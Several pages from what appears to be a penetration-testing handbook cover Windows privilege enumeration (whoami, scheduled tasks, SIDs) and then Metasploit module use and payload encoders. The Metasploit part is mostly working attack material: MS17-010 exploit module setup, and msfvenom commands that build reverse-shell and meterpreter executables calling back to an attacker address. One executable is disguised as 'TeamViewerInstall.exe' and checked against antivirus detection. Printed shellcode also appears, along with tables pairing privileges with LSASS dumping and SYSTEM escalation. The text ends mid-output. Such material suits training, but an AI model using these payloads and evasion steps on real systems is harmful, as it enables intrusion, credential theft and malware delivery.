| ---------------------------------------------------- | | `SeImpersonatePrivilege` | Potato attacks → SYSTEM | | `SeAssignPrimaryTokenPrivilege` | Token manipulation → SYSTEM | | `SeBackupPrivilege` | Read any file (SAM, SYSTEM hives) → credential theft | | `SeRestorePrivilege` | Write any file → overwrite system binaries | | `SeDebugPrivilege` | Access any process memory → dump LSASS | | `SeTakeOwnershipPrivilege` | Take ownership of any object → grant yourself access | | `SeLoadDriverPrivilege` | Load a malicious kernel driver → SYSTEM | *** ## What Groups Am I In? ### `whoami /groups` — Group Memberships ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ==================================== ================ ============ ========== BUILTIN\Event Log Readers Alias S-1-5-32-573 Enabled group BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Enabled group BUILTIN\Users Alias S-1-5-32-545 Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 ``` The output has four columns. **Type** and **Attributes** are the ones that need explanation: **Type** — what kind of security principal this entry is: | Type | Meaning | | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------ | | `Alias` | A local security group stored on this machine. BUILTIN groups (Administrators, Users, Remote Desktop Users) are always Alias type. | | `Well-known group` | A group predefined by Windows with a fixed SID that is the same on every Windows machine — things like `NT AUTHORITY\Authenticated Users`. | | `Label` | Not a group at all — this is the Mandatory Integrity Level marker on your token (see below). | | `Domain group` | A group from Active Directory. Only appears on domain-joined machines. | **Attributes** — what role the group currently plays in your token: | Attribute | Meaning | | ---------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | | `Mandatory group, Enabled by default, Enabled group` | Always in your token and always active. Cannot be removed or disabled for the lifetime of this session. | | `Enabled group` | Active and used for access checks right now. | | `Deny only` | The group is in your token but can **only** match deny rules — it cannot grant you access to anything. Seen on restricted tokens. | | `Integrity` | Marks the Mandatory Label entry — it's an integrity level, not a real group membership. | **Groups worth noting:** | Group | Why It Matters | | ------------------------- | -------------------------------------------------------------- | | `Administrators` | Full control — you've already won | | `Remote Desktop Users` | Can RDP into the box | | `Remote Management Users` | Can use WinRM / PowerShell Remoting | | `Backup Operators` | Can read/write any file regardless of ACL → credential theft | | `Event Log Readers` | Can read event logs — may contain credentials in command lines | | `DnsAdmins` | Can load a malicious DLL into the DNS service → SYSTEM | | `Hyper-V Administrators` | Effective control over the host | The **Mandatory Label** at the bottom shows your integrity level. Windows tags every process with one of these levels and enforces a rule: a lower-integrity process cannot write to or influence a higher-integrity one. There are four levels: | Label | What it means | | -------- | ------------------------------------------------------------------------------------------ | | `Low` | Sandboxed — used by things like browser tab processes. Very restricted write access. | | `Medium` | Standard logged-in user. Most processes run here. UAC has not been bypassed. | | `High` | Elevated — you clicked "Run as administrator" or bypassed UAC. Admin-level token. | | `System` | The OS itself. Services like LSASS and the kernel run here. This is the escalation target. | When you see `High Mandatory Level` in your groups output, your current process is already elevated. `Medium` means you have admin group membership but UAC is still limiting you — bypassing UAC would move you to `High`. *** ## What Is This Machine? ### `systeminfo` — Full System Details ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} systeminfo ``` This shows OS version, build, install date, hotfixes, and network config — everything you need for CVE research. Note that it can fail with **Access denied** for low-privilege users in some configurations: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} systeminfo # Program 'systeminfo.exe' failed to run: Access is denied ``` If it's blocked, fall back to PowerShell (see below). ### `wmic qfe` — Installed Patches `qfe` stands for Quick Fix Engineering — it lists installed Windows updates. Compare these against known CVEs to find missing patches. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} wmic qfe # Lists all installed hotfixes (KB numbers and install dates) ``` Like `systeminfo`, this may return **Access denied** for limited accounts. ### PowerShell — OS Version (when CMD tools are blocked) ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # OS version and build number Get-WmiObject -Class Win32_OperatingSystem | select Version,BuildNumber # Version BuildNumber # ------- ----------- # 10.0.19041 19041 ``` The build number (e.g. `19041`) maps to a specific Windows release — search it to find applicable exploits. *** ## Scheduled Tasks If you can modify a script that a privileged task runs, that's a direct escalation path. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List all scheduled tasks in full detail schtasks /query /fo LIST /v ``` **What to look for in the output:** ``` TaskName: \CorpBackupAgent Task To Run: powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\ProgramData\CorpBackup\Scripts\backupprep.ps1 Run As User: Administrator Scheduled Task State: Enabled Repeat: Every: 0 Hour(s), 2 Minute(s) ``` This is gold: * **Run As User: Administrator** — the script runs with admin privileges * **Task To Run** — points to `backupprep.ps1`, a script on disk * **Repeat: Every 2 minutes** — runs frequently, so you don't have to wait long Check the script's permissions with `icacls` (covered on the [Permissions & icacls](/tech/windows/permissions-icacls) page). Filter for non-Microsoft tasks — those are the custom ones admins set up, and they're far more likely to be misconfigured than the built-in Windows tasks. The author field and a script path outside `C:\Windows` are the tells. In PowerShell, filter them directly: ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Get-ScheduledTask | Where-Object { $_.TaskPath -notlike '\Microsoft*' } | Select-Object TaskName, TaskPath ``` Or from CMD, pipe through `findstr` and look for lines where the author is not Microsoft: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} schtasks /query /fo LIST /v | findstr /i "TaskName: Run As User: Task To Run:" ``` Any task running as `Administrator` or `SYSTEM` with a script path in `C:\ProgramData`, `C:\Temp`, or another user-writable directory is worth examining. *** ## Security Identifiers (SID) Every user and group has a unique SID. Windows tracks rights by SID, not by name — so two users named the same are still distinct. ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} whoami /user USER INFORMATION ---------------- User Name SID ========== ============================================= ws01\bob S-1-5-21-674899381-4069889467-2080702030-1002 ``` **SID breakdown:** ``` S - 1 - 5 - 21 - 674899381-4069889467-2080702030 - 1002 │ │ │ │ │ │ SID Revision Identifier Authority Type Domain/Computer identifier RID ``` | Part | Meaning | | --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `S` | Marks the string as a SID | | `1` | Revision level (always 1) | | `5` | Identifier authority (5 = NT Authority) | | `21` | Sub-authority type. `21` means this is a domain or machine-local account SID (as opposed to built-in SIDs like `S-1-5-32` which use a different number and have no machine identifier after them). | | `674899381-4069889467-2080702030` | Three random 32-bit numbers generated once when the domain or local machine was first set up. Together they form a unique fingerprint for the issuing machine or domain. No two machines share this combination — it's what makes SIDs globally unique across installations. | | `1002` | The RID — distinguishes the account. `500` = built-in Administrator, `501` = Guest, `512` = Domain Admins | RID `500` is always the real local Administrator account, even if it's been renamed. RID `1000`+ are regular accounts created after install. *** *Next: [Windows Architecture & File System](/tech/windows/architecture-filesystem) — the directory structure, file systems, and where the interesting files live.* # Exploitation Frameworks Source: https://hackbook.dudji.com/tools/exploitation-frameworks/index Frameworks for exploit development, payload management, and post-exploitation modules. Use this category for exploitation platforms that organize modules, payloads, and sessions. Split guide hub for core workflow, payloads, encoders, and sessions. # Metasploit Core Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/core Modules, targeting, and workflow basics in msfconsole. ## Module Structure in msfconsole Once inside `msfconsole`, you can browse an extensive list of available Metasploit modules. Each module follows a path-like structure: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} /// ``` Example: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} 794 exploit/windows/ftp/scriptftp_list ``` ## Module Type Breakdown The `type` field is the first level of separation in the Metasploit module tree. It tells you what the module is designed to do. | Type | Description | | --------- | ------------------------------------------------------------------------------------------------------- | | Auxiliary | Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality. | | Encoders | Ensure payloads arrive intact at their destination. | | Exploits | Modules that exploit vulnerabilities to allow payload delivery. | | NOPs | No-operation modules used to keep payload sizes consistent across exploit attempts. | | Payloads | Code that runs remotely and calls back to the attacker machine to establish a connection or shell. | | Plugins | Additional scripts/components that can be integrated within an assessment and used inside `msfconsole`. | | Post | Modules for post-exploitation tasks such as information gathering and pivoting. | Not all module types are directly "launchable" as an initial action. Some are supporting components within the framework's modular architecture. ### Interactable Module Types When using `use `, you generally work with initiator/interactable module types such as: | Type | Description | | --------- | ---------------------------------------------------------------- | | Auxiliary | Scanning, fuzzing, sniffing, and administration tasks. | | Exploits | Vulnerability exploitation modules used for payload delivery. | | Post | Post-exploitation modules for host/network actions after access. | ## Targeted Module Search To reduce noisy results, use scoped filters during search. Common filters include: * `cve:` * `platform:` * `type:` * `rank:` * `` (keyword) This returns modules matching all supplied conditions. ### MSF: Specific Search Example ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoft Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/http/exchange_proxylogon_rce 2021-03-02 excellent Yes Microsoft Exchange ProxyLogon RCE 1 exploit/windows/http/exchange_proxyshell_rce 2021-04-06 excellent Yes Microsoft Exchange ProxyShell RCE 2 exploit/windows/http/sharepoint_unsafe_control 2021-05-11 excellent Yes Microsoft SharePoint Unsafe Control and ViewState RCE ``` ## Reading Module Details with `info` After selecting a module, `info` gives metadata, options, targets, references, and payload constraints. ### MSF: Module Information Example ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/ms17_010_psexec) > info Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution Module: exploit/windows/smb/ms17_010_psexec Platform: Windows Arch: x86, x64 Privileged: No License: Metasploit Framework License (BSD) Rank: Normal Disclosed: 2017-03-14 Provided by: sleepya zerosum0x0 Shadow Brokers Equation Group Available targets: Id Name -- ---- 0 Automatic 1 PowerShell 2 Native upload 3 MOF upload Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- DBGTRACE false yes Show extra debug trace info LEAKATTEMPTS 99 yes How many times to try to leak transaction NAMEDPIPE no A named pipe that can be connected to (leave blank for auto) NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check rdlists/named_pipes.txt RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/ wiki/Using-Metasploit RPORT 445 yes The Target port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a nor mal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Payload information: Space: 3072 Description: This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where primitive. This will then be used to overwrite the connection session information with as an Administrator session. From there, the normal psexec payload code execution is done. Exploits a type confusion between Transaction and WriteAndX requests and a race condition in Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a named pipe. References: https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010 https://nvd.nist.gov/vuln/detail/CVE-2017-0143 https://nvd.nist.gov/vuln/detail/CVE-2017-0146 https://nvd.nist.gov/vuln/detail/CVE-2017-0147 https://github.com/worawit/MS17-010 https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/ Also known as: ETERNALSYNERGY ETERNALROMANCE ETERNALCHAMPION ETERNALBLUE ``` ## Permanent Target Specification If you want a value available across modules, use `setg` to define a global option. ### MSF: Permanent Target Specification ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/ms17_010_psexec) > setg RHOSTS 10.10.10.40 RHOSTS => 10.10.10.40 msf6 exploit(windows/smb/ms17_010_psexec) > options Name Current Setting Required Description ---- --------------- -------- ----------- DBGTRACE false yes Show extra debug trace info LEAKATTEMPTS 99 yes How many times to try to leak transaction NAMEDPIPE no A named pipe that can be connected to (leave blank for auto) NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check rdlists/named_pipes.txt RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework /wiki/Using-Metasploit RPORT 445 yes The Target port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no rmal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic ``` ## Targets Targets are specific operating system profiles used by an exploit module to adapt execution to a vulnerable version. The `show targets` command behaves differently depending on context: * Inside an exploit module: lists available targets for that module. * In the root menu: reports that no exploit module is selected. ### MSF: Show Targets ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 > show targets [-] No exploit module selected. ``` When run inside the selected exploit module, options and target data are shown: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/ms17_010_psexec) > options Name Current Setting Required Description ---- --------------- -------- ----------- DBGTRACE false yes Show extra debug trace info LEAKATTEMPTS 99 yes How many times to try to leak transaction NAMEDPIPE no A named pipe that can be connected to (leave blank for auto) NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check rdlists/named_pipes.txt RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework /wiki/Using-Metasploit RPORT 445 yes The Target port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no rmal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic ``` ## MSF: Target Selection ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/browser/ie_execcommand_uaf) > info Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability Module: exploit/windows/browser/ie_execcommand_uaf Platform: Windows Arch: Privileged: No License: Metasploit Framework License (BSD) Rank: Good Disclosed: 2012-09-14 Provided by: unknown eromang binjo sinn3r juan vazquez Available targets: Id Name -- ---- 0 Automatic 1 IE 7 on Windows XP SP3 2 IE 8 on Windows XP SP3 3 IE 7 on Windows Vista 4 IE 8 on Windows Vista 5 IE 8 on Windows 7 6 IE 9 on Windows 7 Check supported: No Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- OBFUSCATE false no Enable JavaScript obfuscation SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload information: Description: This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited since Sep 14, 2012. Also, note that presently, this module has some target dependencies for the ROP chain to be valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default). For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which is often the case). References: https://cvedetails.com/cve/CVE-2012-4969/ OSVDB (85532) https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2012/MS12-063 http://technet.microsoft.com/en-us/security/advisory/2757760 http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/ msf6 exploit(windows/browser/ie_execcommand_uaf) > options Module options (exploit/windows/browser/ie_execcommand_uaf): Name Current Setting Required Description ---- --------------- -------- ----------- OBFUSCATE false no Enable JavaScript obfuscation SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets Exploit targets: Id Name -- ---- 0 Automatic 1 IE 7 on Windows XP SP3 2 IE 8 on Windows XP SP3 3 IE 7 on Windows Vista 4 IE 8 on Windows Vista 5 IE 8 on Windows 7 6 IE 9 on Windows 7 ``` Leaving the target as `Automatic` lets `msfconsole` perform service detection before launching the exploit. If you already know the target stack/version, manually select it: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6 target => 6 ``` ## Target Types Targets can vary by service pack, OS version, architecture, language pack, and other exploit-specific constraints. In practice, correct targeting often requires: 1. Obtaining a copy of the target binaries. 2. Using `msfpescan` to locate a suitable return address. Module source comments often describe the exact assumptions for each target, including return-address patterns and version-specific constraints. # Metasploit Encoders Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/encoders Encoder workflows, SGN examples, and AV detection reality checks. ## Encoders Encoders have assisted with making payloads compatible with different processor architectures while at the same time helping with antivirus evasion. Encoders come into play with the role of changing the payload to run on different operating systems and architectures. These architectures include: * **x64** — 64-bit Intel/AMD architecture * **x86** — 32-bit Intel/AMD architecture * **sparc** — SPARC architecture * **ppc** — PowerPC architecture * **mips** — MIPS architecture They are also needed to remove hexadecimal opcodes known as bad characters from the payload. Not only that but encoding the payload in different formats could help with the AV detection as mentioned above. However, the use of encoders strictly for AV evasion has diminished over time, as IPS/IDS manufacturers have improved how their protection software deals with signatures in malware and viruses. Shikata Ga Nai (SGN) was one of the most utilized encoding schemes back in the day because it was very hard to detect payloads encoded through its mechanism. However nowadays, modern detection methods have caught up, and these encoded payloads are far from being universally undetectable anymore. The name (仕方がない) means It cannot be helped or Nothing can be done about it, and rightfully so if we were reading this a few years ago. However, there are other methodologies we will explore to evade protection systems. ## Selecting an Encoder Before 2015, the Metasploit Framework had different submodules that took care of payloads and encoders. They were packed separately from the msfconsole script and were called msfpayload and msfencode. These two tools are located in /usr/share/framework2/. If we wanted to create our custom payload, we could do so through msfpayload, but we would have to encode it according to the target OS architecture using msfencode afterward. A pipe would take the output from one command and feed it into the next, which would generate an encoded payload, ready to be sent and run on the target machine. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00' -f perl -e x86/shikata_ga_nai [*] x86/shikata_ga_nai succeeded with size 1636 (iteration=1) my $buf = "\xbe\x7b\xe6\xcd\x7c\xd9\xf6\xd9\x74\x24\xf4\x58\x2b\xc9" . "\x66\xb9\x92\x01\x31\x70\x17\x83\xc0\x04\x03\x70\x13\xe2" . "\x8e\xc9\xe7\x76\x50\x3c\xd8\xf1\xf9\x2e\x7c\x91\x8e\xdd" . "\x53\x1e\x18\x47\xc0\x8c\x87\xf5\x7d\x3b\x52\x88\x0e\xa6" . "\xc3\x18\x92\x58\xdb\xcd\x74\xaa\x2a\x3a\x55\xae\x35\x36" . "\xf0\x5d\xcf\x96\xd0\x81\xa7\xa2\x50\xb2\x0d\x64\xb6\x45" . "\x06\x0d\xe6\xc4\x8d\x85\x97\x65\x3d\x0a\x37\xe3\xc9\xfc" . "\xa4\x9c\x5c\x0b\x0b\x49\xbe\x5d\x0e\xdf\xfc\x2e\xc3\x9a" . "\x3d\xd7\x82\x48\x4e\x72\x69\xb1\xfc\x34\x3e\xe2\xa8\xf9" . "\xf1\x36\x67\x2c\xc2\x18\xb7\x1e\x13\x49\x97\x12\x03\xde" . "\x85\xfe\x9e\xd4\x1d\xcb\xd4\x38\x7d\x39\x35\x6b\x5d\x6f" . "\x50\x1d\xf8\xfd\xe9\x84\x41\x6d\x60\x29\x20\x12\x08\xe7" . "\xcf\xa0\x82\x6e\x6a\x3a\x5e\x44\x58\x9c\xf2\xc3\xd6\xb9" . ``` After 2015, Metasploit consolidated these capabilities into `msfvenom`, which handles both payload generation and encoding. We will be talking about msfvenom in detail later on. ### Generating Payload - Without Encoding ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 381 (iteration=0) x86/shikata_ga_nai chosen with final size 381 Payload size: 381 bytes Final size of perl file: 1674 bytes my $buf = "\xda\xc1\xba\x37\xc7\xcb\x5e\xd9\x74\x24\xf4\x5b\x2b\xc9" . "\xb1\x59\x83\xeb\xfc\x31\x53\x15\x03\x53\x15\xd5\x32\x37" . "\xb6\x96\xbd\xc8\x47\xc8\x8c\x1a\x23\x83\xbd\xaa\x27\xc1" . "\x4d\x42\xd2\x6e\x1f\x40\x2c\x8f\x2b\x1a\x66\x60\x9b\x91" . "\x50\x4f\x23\x89\xa1\xce\xdf\xd0\xf5\x30\xe1\x1a\x08\x31" . ``` ### Generating Payload - With Encoding ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai Found 1 compatible encoders Attempting to encode payload with 3 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 326 (iteration=0) x86/shikata_ga_nai succeeded with size 353 (iteration=1) x86/shikata_ga_nai succeeded with size 380 (iteration=2) x86/shikata_ga_nai chosen with final size 380 Payload size: 380 bytes buf = "" buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31" buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32" buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94" buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e" buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e" ``` We should now look at the first line of the `$buf` and see how it changes when applying an encoder like shikata\_ga\_nai. Notice how without encoding, the first line starts with `\xda\xc1...` but with 3 iterations of encoding, it starts with `\xbb\x78...`. This shows how the encoder modifies the payload structure. ### Shikata Ga Nai Encoding Shikata Ga Nai encoding visualization Suppose we want to select an encoder for an existing payload. Use the `show encoders` command to list compatible options for your current exploit and payload combination: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15 payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders Compatible Encoders =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 generic/eicar manual No The EICAR Encoder 1 generic/none manual No The "none" Encoder 2 x64/xor manual No XOR Encoder 3 x64/xor_dynamic manual No Dynamic key XOR Encoder 4 x64/zutto_dekiru manual No Zutto Dekiru ``` Suppose we want to select an encoder for an existing payload. Use the `show encoders` command to list compatible options for your current exploit and payload combination. In the previous example, we only see a few x64-compatible encoders. Like payloads, encoders are automatically filtered by exploit module. Different exploits expose different compatible encoders. For example: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(ms09_050_smb2_negotiate_func_index) > show encoders Compatible Encoders =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/none manual normal The "none" Encoder x86/alpha_mixed manual low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper manual low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual low Avoid UTF8/tolower x86/call4_dword_xor manual normal Call+4 Dword XOR Encoder x86/context_cpuid manual manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual manual time(2)-based Context Keyed Payload Encoder x86/countdown manual normal Single-byte XOR Countdown Encoder x86/fnstenv_mov manual normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive manual normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha manual low Non-Alpha Encoder x86/nonupper manual low Non-Upper Encoder x86/shikata_ga_nai manual excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual manual Single Static Bit x86/unicode_mixed manual manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual manual Alpha2 Alphanumeric Unicode Uppercase Encoder ``` ### Real-World Attack Scenario: Single Encoding Let's test `msfvenom` with a real Windows payload encoded once with SGN: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 368 (iteration=0) x86/shikata_ga_nai chosen with final size 368 Payload size: 368 bytes Final size of exe file: 73802 bytes Saved as: TeamViewerInstall.exe ``` This creates an x86 Windows executable with a single SGN encoding pass. As you can see from the VirusTotal scan results below, single encoding is easily detected: VirusTotal detections for SGN encoded payload single iteration ### Testing Multiple Iterations (More Payload Bloat, Still Detected) Using the `-i` flag to apply multiple encoding passes: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe Found 1 compatible encoders Attempting to encode payload with 10 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 368 (iteration=0) x86/shikata_ga_nai succeeded with size 395 (iteration=1) x86/shikata_ga_nai succeeded with size 422 (iteration=2) x86/shikata_ga_nai succeeded with size 449 (iteration=3) x86/shikata_ga_nai succeeded with size 476 (iteration=4) x86/shikata_ga_nai succeeded with size 503 (iteration=5) x86/shikata_ga_nai succeeded with size 530 (iteration=6) x86/shikata_ga_nai succeeded with size 557 (iteration=7) x86/shikata_ga_nai succeeded with size 584 (iteration=8) x86/shikata_ga_nai succeeded with size 611 (iteration=9) x86/shikata_ga_nai chosen with final size 611 Payload size: 611 bytes Final size of exe file: 73802 bytes Error: Permission denied @ rb_sysopen - /root/Desktop/TeamViewerInstall.exe ``` Multiple iterations increase payload size but don't guarantee AV evasion: VirusTotal detections for SGN encoded payload multiple iterations ### Reality Check: Encoding Alone Is Not Enough Both single and multiple iterations still trigger detection on most modern antivirus engines. Metasploit provides `msf-virustotal` for analyzing payloads (requires a free VirusTotal API key): ## MSF - VirusTotal ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msf-virustotal -k -f TeamViewerInstall.exe [*] Using API key: [*] Please wait while I upload TeamViewerInstall.exe... [*] VirusTotal: Scan request successfully queued, come back later for the report [*] Sample MD5 hash : 4f54cc46e2f55be168cc6114b74a3130 [*] Sample SHA1 hash : 53fcb4ed92cf40247782de41877b178ef2a9c5a9 [*] Sample SHA256 hash : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8 [*] Analysis link: https://www.virustotal.com/gui/file//detection/f--1651750343 [*] Requesting the report... [*] Received code -2. Waiting for another 60 seconds... [*] Received code -2. Waiting for another 60 seconds... [*] Received code -2. Waiting for another 60 seconds... [*] Received code -2. Waiting for another 60 seconds... [*] Received code -2. Waiting for another 60 seconds... [*] Received code -2. Waiting for another 60 seconds... [*] Analysis Report: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8 ================================================================================================================== Antivirus Detected Version Result Update --------- -------- ------- ------ ------ ALYac true 1.1.3.1 Trojan.CryptZ.Gen 20220505 APEX true 6.288 Malicious 20220504 AVG true 21.1.5827.0 Win32:SwPatch [Wrm] 20220505 Acronis true 1.2.0.108 suspicious 20220426 Ad-Aware true 3.0.21.193 Trojan.CryptZ.Gen 20220505 AhnLab-V3 true 3.21.3.10230 Trojan/Win32.Shell.R1283 20220505 Alibaba false 0.3.0.5 20190527 Antiy-AVL false 3.0 20220505 Arcabit true 1.0.0.889 Trojan.CryptZ.Gen 20220505 Avast true 21.1.5827.0 Win32:SwPatch [Wrm] 20220505 Avira true 